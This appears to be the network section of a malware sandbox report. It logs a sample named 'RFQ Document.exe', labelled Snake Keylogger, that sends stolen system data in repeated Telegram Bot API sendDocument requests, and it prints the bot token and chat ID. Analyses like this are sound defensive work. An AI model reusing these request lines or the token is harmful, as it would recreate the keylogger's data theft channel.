2021-09-28 06:00:02 UTC	503	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 61 30 36 33 35 36 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fa063563Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:02 UTC	503	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:02 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:02 UTC	504	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 30 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12901,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808802,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
319	192.168.2.4	50156	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:02 UTC	504	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fa1e0cda Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:02 UTC	505	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 61 31 65 30 63 64 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fa1e0cdaContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:03 UTC	505	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:03 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:03 UTC	505	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 30 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12902,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808803,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.4	49806	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:27 UTC	51	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c5b851c7 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:27 UTC	51	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 35 62 38 35 31 63 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c5b851c7Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:27 UTC	51	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:27 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:27 UTC	52	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 31 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12612,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808707,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
320	192.168.2.4	50157	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:03 UTC	506	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fa35e4b2 Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:03 UTC	506	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 61 33 35 65 34 62 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fa35e4b2Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:03 UTC	507	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:03 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:03 UTC	507	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 30 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12903,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808803,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
321	192.168.2.4	50158	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:03 UTC	508	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fa67f5d6 Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:03 UTC	508	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 61 36 37 66 35 64 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fa67f5d6Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:03 UTC	508	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:03 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:03 UTC	509	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 30 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12904,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808803,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
322	192.168.2.4	50159	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:03 UTC	509	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fa9c6a51 Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:03 UTC	509	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 61 39 63 36 61 35 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fa9c6a51Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:03 UTC	510	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:03 GMT Content-Type: application/json Content-Length: 523 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:03 UTC	510	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 30 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12905,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808803,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
323	192.168.2.4	50160	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:03 UTC	511	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fab6a4fe Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:03 UTC	511	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 61 62 36 61 34 66 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fab6a4feContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:04 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:04 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:04 UTC	512	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 30 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12906,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808804,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
324	192.168.2.4	50161	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:04 UTC	512	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fad0deec Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:04 UTC	513	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 61 64 30 64 65 65 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fad0deecContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
